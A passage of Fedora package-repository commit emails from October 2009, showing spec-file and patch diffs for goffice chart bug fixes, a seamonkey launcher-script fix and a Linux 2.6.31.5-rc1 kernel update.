@@ -728,8 +728,12 @@ gog_pie_view_render (GogView *view, GogViewAllocation const *bbox)
 		overrides = gog_series_get_overrides (GOG_SERIES (series));
 		for (k = 0 ; k < series->base.num_elements; k++) {
 			len = fabs (vals[k]) * scale;
-			if (!go_finite (len) || len < 1e-3)
+			if (!go_finite (len) || len < 1e-3) {
+				if ((overrides != NULL) &&
+				    (GOG_SERIES_ELEMENT (overrides->data)->index == k))
+					overrides = overrides->next;
 				continue;
+			}
 
 			gpse = NULL;
 			if ((overrides != NULL) &&
--
cgit v0.8.2

goffice-0.6.6-backport-20090501.patch:
 ChangeLog                                  |    5 +++++
 NEWS                                       |    5 ++++-
 goffice/cut-n-paste/foocanvas/foo-canvas.c |    4 ++--
 3 files changed, 11 insertions(+), 3 deletions(-)

--- NEW FILE goffice-0.6.6-backport-20090501.patch ---
>From bfcd25ce71fce582af48f834c14a956249dc3ea6 Mon Sep 17 00:00:00 2001
From: Jody Goldberg <jody at gnome.org>
Date: Fri, 01 May 2009 10:36:42 +0000
Subject: * Patch foocanvas to work around behaviour change in gtk 2.14. [#566652]

---
diff --git a/ChangeLog b/ChangeLog
index 02e99eb..dd3fdc1 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,8 @@
+2008-10-08  Jody Goldberg <jody at gnome.org>
+
+	* goffice/cut-n-paste/foocanvas/foo-canvas.c (foo_canvas_crossing) :
+	  simplistic patch to repair gtk-2.14 related breakage.
+
 2009-03-06  Jean Brefort  <jean.brefort at normalesup.org>
 
 	* plugins/plot_distrib/gog-histogram.c: don't show a marker in the
diff --git a/NEWS b/NEWS
index 58110e2..0954ebd 100644
--- a/NEWS
+++ b/NEWS
@@ -3,8 +3,11 @@ goffice 0.6.7:
 Jean:
 	* Fixed crash when adding series to bar chart. [#572354]
 	* Don't display markers in histogram legend. [#574340]
-	* Skip points corresponding to invalid valies in pie charts. [#574348]
+	* Skip points corresponding to invalid values in pie charts. [#574348]
 	
+Jody:
+	* Patch foocanvas to work around behaviour change in gtk 2.14. [#566652]
+
 --------------------------------------------------------------------------
 goffice 0.6.6:
 
diff --git a/goffice/cut-n-paste/foocanvas/foo-canvas.c b/goffice/cut-n-paste/foocanvas/foo-canvas.c
index f5c4ceb..45a014c 100644
--- a/goffice/cut-n-paste/foocanvas/foo-canvas.c
+++ b/goffice/cut-n-paste/foocanvas/foo-canvas.c
@@ -2813,7 +2813,8 @@ foo_canvas_crossing (GtkWidget *widget, GdkEventCrossing *event)
 
 	canvas = FOO_CANVAS (widget);
 
-	if (event->window != canvas->layout.bin_window)
+	if (event->window != canvas->layout.bin_window ||
+	    NULL != canvas->grabbed_item)
 		return FALSE;
 
 	canvas->state = event->state;
--
cgit v0.8.2


Index: goffice.spec
===================================================================
RCS file: /cvs/pkgs/rpms/goffice/F-12/goffice.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- goffice.spec	25 Jul 2009 01:02:02 -0000	1.24
+++ goffice.spec	21 Oct 2009 09:41:10 -0000	1.25
@@ -1,6 +1,6 @@
 Name:           goffice         
 Version:        0.6.6
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Goffice support libraries
 Group:          System Environment/Libraries
 # bug filed upstream about this being GPL v2 only:
@@ -8,6 +8,9 @@ Group:          System Environment/Libra
 License:        GPLv2
 URL:            http://freshmeat.net/projects/goffice/
 Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.6/%{name}-%{version}.tar.bz2
+Patch0:         goffice-0.6.6-backport-20090219.patch
+Patch1:         goffice-0.6.6-backport-20090306.patch
+Patch2:         goffice-0.6.6-backport-20090501.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  libgsf-gnome-devel     >= 1.13.3
 BuildRequires:  libgnomeui-devel       >= 2.0.0
@@ -35,6 +38,9 @@ Development libraries for goffice
 
 %prep
 %setup -q
+%patch0 -p1 -b .backport-20090219
+%patch1 -p1 -b .backport-20090306
+%patch2 -p1 -b .backport-20090501
 
 
 %build
@@ -77,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Robert Scheck <robert at fedoraproject.org> - 0.6.6-4
+- Applied 3 patches from the 0.6 branch (#503068, #505001)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.6-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From robert at fedoraproject.org  Wed Oct 21 09:41:10 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Wed, 21 Oct 2009 09:41:10 +0000 (UTC)
Subject: rpms/goffice/devel goffice-0.6.6-backport-20090219.patch, NONE,
	1.1 goffice-0.6.6-backport-20090306.patch, NONE,
	1.1 goffice-0.6.6-backport-20090501.patch, NONE,
	1.1 goffice.spec, 1.24, 1.25
Message-ID: <20091021094110.D33D511C00E8@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/goffice/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12181/devel

Modified Files:
	goffice.spec 
Added Files:
	goffice-0.6.6-backport-20090219.patch 
	goffice-0.6.6-backport-20090306.patch 
	goffice-0.6.6-backport-20090501.patch 
Log Message:
Applied 3 patches from the 0.6 branch (#503068, #505001)


goffice-0.6.6-backport-20090219.patch:
 ChangeLog                        |    5 +++++
 b/ChangeLog                      |    4 ++++
 b/NEWS                           |    6 ++++++
 b/plugins/plot_barcol/gog-1.5d.c |    2 --
 4 files changed, 15 insertions(+), 2 deletions(-)

--- NEW FILE goffice-0.6.6-backport-20090219.patch ---
>From a368ebc219318c7154b4d2cfb6d1f4027a62016f Mon Sep 17 00:00:00 2001
From: Jean Brefort <jean.brefort at normalesup.org>
Date: Thu, 19 Feb 2009 19:27:25 +0000
Subject: don't set a value to an invalid length variable. [#572354]

2009-02-19  Jean Brefort  <jean.brefort at normalesup.org>

	* plugins/plot_barcol/gog-1.5d.c: (gog_plot1_5d_update): don't set
	a value to an invalid length variable. [#572354]


svn path=/branches/goffice-0-6/; revision=2313
---
diff --git a/ChangeLog b/ChangeLog
index 8db2fe7..a102d3c 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,5 +1,9 @@
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
+	* configure.in : post release bump
+
+2009-01-18  Jody Goldberg <jody at gnome.org>
+
 	* Release 0.6.6
 
 2008-12-08  Morten Welinder  <terra at gnome.org>
diff --git a/ChangeLog b/ChangeLog
index a102d3c..df71675 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,8 @@
+2009-02-19  Jean Brefort  <jean.brefort at normalesup.org>
+
+	* plugins/plot_barcol/gog-1.5d.c: (gog_plot1_5d_update): don't set
+	a value to an invalid length variable. [#572354]
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* configure.in : post release bump
diff --git a/NEWS b/NEWS
index 01cff7f..4025058 100644
--- a/NEWS
+++ b/NEWS
@@ -1,3 +1,9 @@
+goffice 0.6.7:
+
+Jean:
+	* Fixed crash when adding series to bar chart. [#572354]
+	
+--------------------------------------------------------------------------
 goffice 0.6.6:
 
 Hib Eris:
diff --git a/plugins/plot_barcol/gog-1.5d.c b/plugins/plot_barcol/gog-1.5d.c
index 75f84d4..a2d26f0 100644
--- a/plugins/plot_barcol/gog-1.5d.c
+++ b/plugins/plot_barcol/gog-1.5d.c
@@ -235,7 +235,6 @@ gog_plot1_5d_update (GogObject *obj)
 			series = ptr->data;
 			/* we are guaranteed that at least 1 series is valid above */
 			if (!gog_series_is_valid (GOG_SERIES (series))) {
-				lengths[i] = 0;
 				continue;
 			}
 			vals[i] = go_data_vector_get_values (
--
cgit v0.8.2

goffice-0.6.6-backport-20090306.patch:
 ChangeLog                          |    7 +++++++
 NEWS                               |    2 ++
 plugins/plot_boxes/gog-histogram.c |   11 +----------
 plugins/plot_pie/gog-pie.c         |    7 +++++--
 4 files changed, 15 insertions(+), 12 deletions(-)

--- NEW FILE goffice-0.6.6-backport-20090306.patch ---
>From 2128a2e4549e8fdd9988c952f87a5c38e28efe82 Mon Sep 17 00:00:00 2001
From: Jean Brefort <jean.brefort at normalesup.org>
Date: Fri, 06 Mar 2009 09:51:21 +0000
Subject: don't show a marker in the legend. [#574340] skip points when the datum is

2009-03-06  Jean Brefort  <jean.brefort at normalesup.org>

	* plugins/plot_distrib/gog-histogram.c: don't show a marker in the
	legend. [#574340]
	* plugins/plot_pie/gog-pie.c: (gog_pie_view_render): skip points when
	the datum is skipped. [#574348]


svn path=/branches/goffice-0-6/; revision=2325
---
diff --git a/ChangeLog b/ChangeLog
index df71675..02e99eb 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,10 @@
+2009-03-06  Jean Brefort  <jean.brefort at normalesup.org>
+
+	* plugins/plot_distrib/gog-histogram.c: don't show a marker in the
+	legend. [#574340]
+	* plugins/plot_pie/gog-pie.c: (gog_pie_view_render): skip points when
+	the datum is skipped. [#574348]
+
 2009-02-19  Jean Brefort  <jean.brefort at normalesup.org>
 
 	* plugins/plot_barcol/gog-1.5d.c: (gog_plot1_5d_update): don't set
diff --git a/NEWS b/NEWS
index 4025058..58110e2 100644
--- a/NEWS
+++ b/NEWS
@@ -2,6 +2,8 @@ goffice 0.6.7:
 
 Jean:
 	* Fixed crash when adding series to bar chart. [#572354]
+	* Don't display markers in histogram legend. [#574340]
+	* Skip points corresponding to invalid valies in pie charts. [#574348]
 	
 --------------------------------------------------------------------------
 goffice 0.6.6:
diff --git a/plugins/plot_boxes/gog-histogram.c b/plugins/plot_boxes/gog-histogram.c
index 2dd8dbe..8ddd005 100644
--- a/plugins/plot_boxes/gog-histogram.c
+++ b/plugins/plot_boxes/gog-histogram.c
@@ -193,7 +193,7 @@ gog_histogram_plot_class_init (GogPlotClass *gog_plot_klass)
 	plot_klass->desc.num_series_max = 1;
 	plot_klass->series_type = gog_histogram_plot_series_get_type ();
 	plot_klass->axis_set = GOG_AXIS_SET_XY;
-	plot_klass->desc.series.style_fields	= GOG_STYLE_LINE | GOG_STYLE_FILL;
+	plot_klass->desc.series.style_fields	= GOG_STYLE_OUTLINE | GOG_STYLE_FILL;
 	plot_klass->axis_get_bounds   		= gog_histogram_plot_axis_get_bounds;
 }
 
@@ -452,14 +452,6 @@ gog_histogram_plot_series_update (GogObject *obj)
 }
 
 static void
-gog_histogram_plot_series_init_style (GogStyledObject *gso, GogStyle *style)
-{
-	((GogStyledObjectClass*) gog_histogram_plot_series_parent_klass)->init_style (gso, style);
-
-	style->outline.dash_type = GO_LINE_NONE;
-}
-
-static void
 gog_histogram_plot_series_finalize (GObject *obj)
 {
 	GogHistogramPlotSeries *series = GOG_HISTOGRAM_PLOT_SERIES (obj);
@@ -507,7 +499,6 @@ gog_histogram_plot_series_class_init (GogObjectClass *obj_klass)
 	gog_histogram_plot_series_parent_klass = g_type_class_peek_parent (obj_klass);
 	obj_klass->update = gog_histogram_plot_series_update;
 	gog_klass->view_type	= gog_histogram_series_view_get_type ();
-	gso_klass->init_style = gog_histogram_plot_series_init_style;
 
 	gog_object_register_roles (gog_klass, roles, G_N_ELEMENTS (roles));
 
diff --git a/plugins/plot_pie/gog-pie.c b/plugins/plot_pie/gog-pie.c
index a106f09..50f34ef 100644
--- a/plugins/plot_pie/gog-pie.c
+++ b/plugins/plot_pie/gog-pie.c
@@ -728,8 +728,12 @@ gog_pie_view_render (GogView *view, GogViewAllocation const *bbox)
 		overrides = gog_series_get_overrides (GOG_SERIES (series));
 		for (k = 0 ; k < series->base.num_elements; k++) {
 			len = fabs (vals[k]) * scale;
-			if (!go_finite (len) || len < 1e-3)
+			if (!go_finite (len) || len < 1e-3) {
+				if ((overrides != NULL) &&
+				    (GOG_SERIES_ELEMENT (overrides->data)->index == k))
+					overrides = overrides->next;
 				continue;
+			}
 
 			gpse = NULL;
 			if ((overrides != NULL) &&
--
cgit v0.8.2

goffice-0.6.6-backport-20090501.patch:
 ChangeLog                                  |    5 +++++
 NEWS                                       |    5 ++++-
 goffice/cut-n-paste/foocanvas/foo-canvas.c |    4 ++--
 3 files changed, 11 insertions(+), 3 deletions(-)

--- NEW FILE goffice-0.6.6-backport-20090501.patch ---
>From bfcd25ce71fce582af48f834c14a956249dc3ea6 Mon Sep 17 00:00:00 2001
From: Jody Goldberg <jody at gnome.org>
Date: Fri, 01 May 2009 10:36:42 +0000
Subject: * Patch foocanvas to work around behaviour change in gtk 2.14. [#566652]

---
diff --git a/ChangeLog b/ChangeLog
index 02e99eb..dd3fdc1 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,8 @@
+2008-10-08  Jody Goldberg <jody at gnome.org>
+
+	* goffice/cut-n-paste/foocanvas/foo-canvas.c (foo_canvas_crossing) :
+	  simplistic patch to repair gtk-2.14 related breakage.
+
 2009-03-06  Jean Brefort  <jean.brefort at normalesup.org>
 
 	* plugins/plot_distrib/gog-histogram.c: don't show a marker in the
diff --git a/NEWS b/NEWS
index 58110e2..0954ebd 100644
--- a/NEWS
+++ b/NEWS
@@ -3,8 +3,11 @@ goffice 0.6.7:
 Jean:
 	* Fixed crash when adding series to bar chart. [#572354]
 	* Don't display markers in histogram legend. [#574340]
-	* Skip points corresponding to invalid valies in pie charts. [#574348]
+	* Skip points corresponding to invalid values in pie charts. [#574348]
 	
+Jody:
+	* Patch foocanvas to work around behaviour change in gtk 2.14. [#566652]
+
 --------------------------------------------------------------------------
 goffice 0.6.6:
 
diff --git a/goffice/cut-n-paste/foocanvas/foo-canvas.c b/goffice/cut-n-paste/foocanvas/foo-canvas.c
index f5c4ceb..45a014c 100644
--- a/goffice/cut-n-paste/foocanvas/foo-canvas.c
+++ b/goffice/cut-n-paste/foocanvas/foo-canvas.c
@@ -2813,7 +2813,8 @@ foo_canvas_crossing (GtkWidget *widget, GdkEventCrossing *event)
 
 	canvas = FOO_CANVAS (widget);
 
-	if (event->window != canvas->layout.bin_window)
+	if (event->window != canvas->layout.bin_window ||
+	    NULL != canvas->grabbed_item)
 		return FALSE;
 
 	canvas->state = event->state;
--
cgit v0.8.2


Index: goffice.spec
===================================================================
RCS file: /cvs/pkgs/rpms/goffice/devel/goffice.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- goffice.spec	25 Jul 2009 01:02:02 -0000	1.24
+++ goffice.spec	21 Oct 2009 09:41:10 -0000	1.25
@@ -1,6 +1,6 @@
 Name:           goffice         
 Version:        0.6.6
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Goffice support libraries
 Group:          System Environment/Libraries
 # bug filed upstream about this being GPL v2 only:
@@ -8,6 +8,9 @@ Group:          System Environment/Libra
 License:        GPLv2
 URL:            http://freshmeat.net/projects/goffice/
 Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.6/%{name}-%{version}.tar.bz2
+Patch0:         goffice-0.6.6-backport-20090219.patch
+Patch1:         goffice-0.6.6-backport-20090306.patch
+Patch2:         goffice-0.6.6-backport-20090501.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  libgsf-gnome-devel     >= 1.13.3
 BuildRequires:  libgnomeui-devel       >= 2.0.0
@@ -35,6 +38,9 @@ Development libraries for goffice
 
 %prep
 %setup -q
+%patch0 -p1 -b .backport-20090219
+%patch1 -p1 -b .backport-20090306
+%patch2 -p1 -b .backport-20090501
 
 
 %build
@@ -77,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Robert Scheck <robert at fedoraproject.org> - 0.6.6-4
+- Applied 3 patches from the 0.6 branch (#503068, #505001)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.6-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From stransky at fedoraproject.org  Wed Oct 21 09:44:48 2009
From: stransky at fedoraproject.org (Martin Stransky)
Date: Wed, 21 Oct 2009 09:44:48 +0000 (UTC)
Subject: rpms/seamonkey/F-12 seamonkey.spec,1.65,1.66
Message-ID: <20091021094448.D2A6711C00E8@cvs1.fedora.phx.redhat.com>

Author: stransky

Update of /cvs/pkgs/rpms/seamonkey/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13288

Modified Files:
	seamonkey.spec 
Log Message:
fixed launcher script


Index: seamonkey.spec
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/F-12/seamonkey.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- seamonkey.spec	19 Oct 2009 09:12:15 -0000	1.65
+++ seamonkey.spec	21 Oct 2009 09:44:48 -0000	1.66
@@ -18,7 +18,7 @@
 Name:           seamonkey
 Summary:        Web browser, e-mail, news, IRC client, HTML editor
 Version:        2.0
-Release:        5%{?dist}
+Release:        6%{?dist}
 URL:            http://www.mozilla.org/projects/seamonkey/
 License:        MPLv1.1
 Group:          Applications/Internet
@@ -255,7 +255,7 @@ fi
 
 # install our seamonkey.sh file
 rm -rf $RPM_BUILD_ROOT/usr/bin/seamonkey
-cat %{SOURCE3} | sed -e 's/MOZILLA_VERSION/%{version}%{?prerelease_tag}/g' \
+cat %{SOURCE3} | sed -e 's/MOZILLA_VERSION/%{version}/g' \
 		     -e 's,LIBDIR,%{_libdir},g' > \
   $RPM_BUILD_ROOT/usr/bin/seamonkey
 
@@ -342,6 +342,9 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Tue Oct 21 2009 Martin Stransky <stransky at redhat.com> 2.0-6
+- Fixed launcher script
+
 * Tue Oct 19 2009 Martin Stransky <stransky at redhat.com> 2.0-5
 - Update to 2.0 RC2
 



From stransky at fedoraproject.org  Wed Oct 21 09:46:06 2009
From: stransky at fedoraproject.org (Martin Stransky)
Date: Wed, 21 Oct 2009 09:46:06 +0000 (UTC)
Subject: rpms/seamonkey/devel seamonkey.spec,1.66,1.67
Message-ID: <20091021094606.92CD211C00E8@cvs1.fedora.phx.redhat.com>

Author: stransky

Update of /cvs/pkgs/rpms/seamonkey/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13634

Modified Files:
	seamonkey.spec 
Log Message:
Fixed launcher script


Index: seamonkey.spec
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/devel/seamonkey.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- seamonkey.spec	19 Oct 2009 09:21:24 -0000	1.66
+++ seamonkey.spec	21 Oct 2009 09:46:06 -0000	1.67
@@ -18,7 +18,7 @@
 Name:           seamonkey
 Summary:        Web browser, e-mail, news, IRC client, HTML editor
 Version:        2.0
-Release:        5%{?dist}
+Release:        6%{?dist}
 URL:            http://www.mozilla.org/projects/seamonkey/
 License:        MPLv1.1
 Group:          Applications/Internet
@@ -117,7 +117,7 @@ MOZ_SMP_FLAGS=-j1
 %ifnarch ppc ppc64 s390 s390x
 [ -z "$RPM_BUILD_NCPUS" ] && \
      RPM_BUILD_NCPUS="`/usr/bin/getconf _NPROCESSORS_ONLN`"
-[ "$RPM_BUILD_NCPUS" -gt 1 ] && MOZ_SMP_FLAGS=-j1
+[ "$RPM_BUILD_NCPUS" -gt 1 ] && MOZ_SMP_FLAGS=-j2
 %endif
 
 make -f client.mk build STRIP="/bin/true" MOZ_MAKE_FLAGS="$MOZ_SMP_FLAGS"
@@ -255,7 +255,7 @@ fi
 
 # install our seamonkey.sh file
 rm -rf $RPM_BUILD_ROOT/usr/bin/seamonkey
-cat %{SOURCE3} | sed -e 's/MOZILLA_VERSION/%{version}%{?prerelease_tag}/g' \
+cat %{SOURCE3} | sed -e 's/MOZILLA_VERSION/%{version}/g' \
 		     -e 's,LIBDIR,%{_libdir},g' > \
   $RPM_BUILD_ROOT/usr/bin/seamonkey
 
@@ -342,10 +342,13 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
-* Wed Oct 19 2009 Martin Stransky <stransky at redhat.com> 2.0-5
+* Tue Oct 21 2009 Martin Stransky <stransky at redhat.com> 2.0-6
+- Fixed launcher script
+
+* Tue Oct 19 2009 Martin Stransky <stransky at redhat.com> 2.0-5
 - Update to 2.0 RC2
 
-* Wed Oct 14 2009 Martin Stransky <stransky at redhat.com> 2.0-4
+* Tue Oct 13 2009 Martin Stransky <stransky at redhat.com> 2.0-4
 - Update to 2.0 RC1
 
 * Wed Sep 23 2009 Martin Stransky <stransky at redhat.com> 2.0-3.beta2



From cebbert at fedoraproject.org  Wed Oct 21 10:22:11 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Wed, 21 Oct 2009 10:22:11 +0000 (UTC)
Subject: rpms/kernel/F-12 patch-2.6.31.5-rc1.bz2.sign, NONE, 1.1 .cvsignore, 
	1.1130, 1.1131 kernel.spec, 1.1874,
	1.1875 linux-2.6-intel-iommu-updates.patch, 1.4, 1.5 sources,
	1.1088, 1.1089 upstream, 1.1002,
	1.1003 linux-2.6-raidlockdep.patch, 1.2, NONE
Message-ID: <20091021102211.1215111C00E8@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22513

Modified Files:
	.cvsignore kernel.spec linux-2.6-intel-iommu-updates.patch 
	sources upstream 
Added Files:
	patch-2.6.31.5-rc1.bz2.sign 
Removed Files:
	linux-2.6-raidlockdep.patch 
Log Message:
Linux 2.6.31.5-rc1
Remove the merged HP DC7900 workaround from iommu-updates patch.
Drop merged patch:
  linux-2.6-raidlockdep.patch


--- NEW FILE patch-2.6.31.5-rc1.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBK2K9VyGugalF9Dw4RAqf2AJ0e7G3gZH0wsidikSF2neg34NZCdwCfe4Nt
d97hFfgzeHi2QCKz+IZpc4g=
=OEDx
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/.cvsignore,v
retrieving revision 1.1130
retrieving revision 1.1131
diff -u -p -r1.1130 -r1.1131
--- .cvsignore	13 Oct 2009 00:39:37 -0000	1.1130
+++ .cvsignore	21 Oct 2009 10:22:10 -0000	1.1131
@@ -6,3 +6,4 @@ temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
 patch-2.6.31.4.bz2
+patch-2.6.31.5-rc1.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1874
retrieving revision 1.1875
diff -u -p -r1.1874 -r1.1875
--- kernel.spec	19 Oct 2009 16:20:29 -0000	1.1874
+++ kernel.spec	21 Oct 2009 10:22:10 -0000	1.1875
@@ -40,9 +40,9 @@ Summary: The Linux kernel
 %if 0%{?released_kernel}
 
 # Do we have a -stable update to apply?
-%define stable_update 4
+%define stable_update 5
 # Is it a -stable RC?
-%define stable_rc 0
+%define stable_rc 1
 # Set rpm version accordingly
 %if 0%{?stable_update}
 %define stablerev .%{stable_update}
@@ -737,9 +737,6 @@ Patch12014: linux-2.6-selinux-module-loa
 
 # patches headed for -stable
 
-# Raid10 lockdep fix
-Patch14002: linux-2.6-raidlockdep.patch
-
 # make perf counter API available to userspace (#527264)
 Patch14010: perf-make-perf-counter-h-available-to-userspace.patch
 
@@ -1400,9 +1397,6 @@ ApplyPatch linux-2.6-selinux-module-load
 
 # patches headed for -stable
 
-# Raid10 lockdep fix
-ApplyPatch linux-2.6-raidlockdep.patch
-
 # make perf counter API available to userspace (#527264)
 ApplyPatch perf-make-perf-counter-h-available-to-userspace.patch
 
@@ -2073,6 +2067,12 @@ fi
 # and build.
 
 %changelog
+* Wed Oct 21 2009 Chuck Ebbert <cebbert at redhat.com>
+- Linux 2.6.31.5-rc1
+- Remove the merged HP DC7900 workaround from iommu-updates patch.
+- Drop merged patch:
+  linux-2.6-raidlockdep.patch
+
 * Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
 - af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
   rhbz#529626.

linux-2.6-intel-iommu-updates.patch:
 Documentation/Intel-IOMMU.txt  |    6 
 arch/ia64/kernel/pci-swiotlb.c |    2 
 arch/x86/kernel/pci-swiotlb.c  |    5 
 drivers/pci/dmar.c             |   15 +
 drivers/pci/intel-iommu.c      |  399 ++++++++++++++++++++++++-----------------
 drivers/pci/intr_remapping.c   |    8 
 drivers/pci/iova.c             |   16 -
 include/linux/intel-iommu.h    |    2 
 include/linux/iova.h           |    1 
 9 files changed, 264 insertions(+), 190 deletions(-)

Index: linux-2.6-intel-iommu-updates.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/linux-2.6-intel-iommu-updates.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- linux-2.6-intel-iommu-updates.patch	30 Sep 2009 19:42:24 -0000	1.4
+++ linux-2.6-intel-iommu-updates.patch	21 Oct 2009 10:22:10 -0000	1.5
@@ -66,7 +66,6 @@ Date:   Wed Sep 23 10:06:10 2009 -0700
       ia64: IOMMU passthrough mode shouldn't trigger swiotlb init
       intel-iommu: make domain_add_dev_info() call domain_context_mapping()
       intel-iommu: Unify hardware and software passthrough support
-      intel-iommu: Cope with broken HP DC7900 BIOS
       iommu=pt is a valid early param
       intel-iommu: double kfree()
       intel-iommu: Kill pointless intel_unmap_single() function
@@ -349,20 +348,6 @@ Date:   Tue Aug 4 16:19:20 2009 +0100
     
     Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
 
-commit 0815565adfe3f4c369110c57d8ffe83caefeed68
-Author: David Woodhouse <David.Woodhouse at intel.com>
-Date:   Tue Aug 4 09:17:20 2009 +0100
-
-    intel-iommu: Cope with broken HP DC7900 BIOS
-    
-    Yet another reason why trusting this stuff to the BIOS was a bad idea.
-    The HP DC7900 BIOS reports an iommu at an address which just returns all
-    ones, when VT-d is disabled in the BIOS.
-    
-    Fix up the missing iounmap in the error paths while we're at it.
-    
-    Signed-off-by: David Woodhouse <David.Woodhouse at intel.com>
-
 commit cfc65dd57967f2e0c7b3a8b73e6d12470b1cf1c1
 Author: Alex Williamson <alex.williamson at hp.com>
 Date:   Thu Jul 30 16:15:18 2009 -0600
@@ -494,62 +479,7 @@ index 7b287cb..708176d 100644
  	return 0;
  }
  
-@@ -632,20 +640,31 @@ int alloc_iommu(struct dmar_drhd_unit *drhd)
- 	iommu->cap = dmar_readq(iommu->reg + DMAR_CAP_REG);
- 	iommu->ecap = dmar_readq(iommu->reg + DMAR_ECAP_REG);
- 
-+	if (iommu->cap == (uint64_t)-1 && iommu->ecap == (uint64_t)-1) {
-+		/* Promote an attitude of violence to a BIOS engineer today */
-+		WARN(1, "Your BIOS is broken; DMAR reported at address %llx returns all ones!\n"
-+		     "BIOS vendor: %s; Ver: %s; Product Version: %s\n",
-+		     drhd->reg_base_addr,
-+		     dmi_get_system_info(DMI_BIOS_VENDOR),
-+		     dmi_get_system_info(DMI_BIOS_VERSION),
-+		     dmi_get_system_info(DMI_PRODUCT_VERSION));
-+		goto err_unmap;
-+	}
-+
- #ifdef CONFIG_DMAR
- 	agaw = iommu_calculate_agaw(iommu);
- 	if (agaw < 0) {
- 		printk(KERN_ERR
- 		       "Cannot get a valid agaw for iommu (seq_id = %d)\n",
- 		       iommu->seq_id);
--		goto error;
-+		goto err_unmap;
- 	}
- 	msagaw = iommu_calculate_max_sagaw(iommu);
- 	if (msagaw < 0) {
- 		printk(KERN_ERR
- 			"Cannot get a valid max agaw for iommu (seq_id = %d)\n",
- 			iommu->seq_id);
--		goto error;
-+		goto err_unmap;
- 	}
- #endif
- 	iommu->agaw = agaw;
-@@ -665,7 +684,7 @@ int alloc_iommu(struct dmar_drhd_unit *drhd)
- 	}
- 
- 	ver = readl(iommu->reg + DMAR_VER_REG);
--	pr_debug("IOMMU %llx: ver %d:%d cap %llx ecap %llx\n",
-+	pr_info("IOMMU %llx: ver %d:%d cap %llx ecap %llx\n",
- 		(unsigned long long)drhd->reg_base_addr,
- 		DMAR_VER_MAJOR(ver), DMAR_VER_MINOR(ver),
- 		(unsigned long long)iommu->cap,
-@@ -675,7 +694,10 @@ int alloc_iommu(struct dmar_drhd_unit *drhd)
- 
- 	drhd->iommu = iommu;
- 	return 0;
--error:
-+
-+ err_unmap:
-+	iounmap(iommu->reg);
-+ error:
- 	kfree(iommu);
- 	return -1;
- }
-@@ -1212,7 +1234,7 @@ irqreturn_t dmar_fault(int irq, void *dev_id)
+@@ -1212,7 +1209,7 @@ irqreturn_t dmar_fault(int irq, void *dev_id)
  				source_id, guest_addr);
  
  		fault_index++;
@@ -558,7 +488,7 @@ index 7b287cb..708176d 100644
  			fault_index = 0;
  		spin_lock_irqsave(&iommu->register_lock, flag);
  	}
-@@ -1305,3 +1327,13 @@ int dmar_reenable_qi(struct intel_iommu *iommu)
+@@ -1305,3 +1302,13 @@ int dmar_reenable_qi(struct intel_iommu *iommu)
  
  	return 0;
  }


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/sources,v
retrieving revision 1.1088
retrieving revision 1.1089
diff -u -p -r1.1088 -r1.1089
--- sources	13 Oct 2009 00:39:38 -0000	1.1088
+++ sources	21 Oct 2009 10:22:10 -0000	1.1089
@@ -1,2 +1,3 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
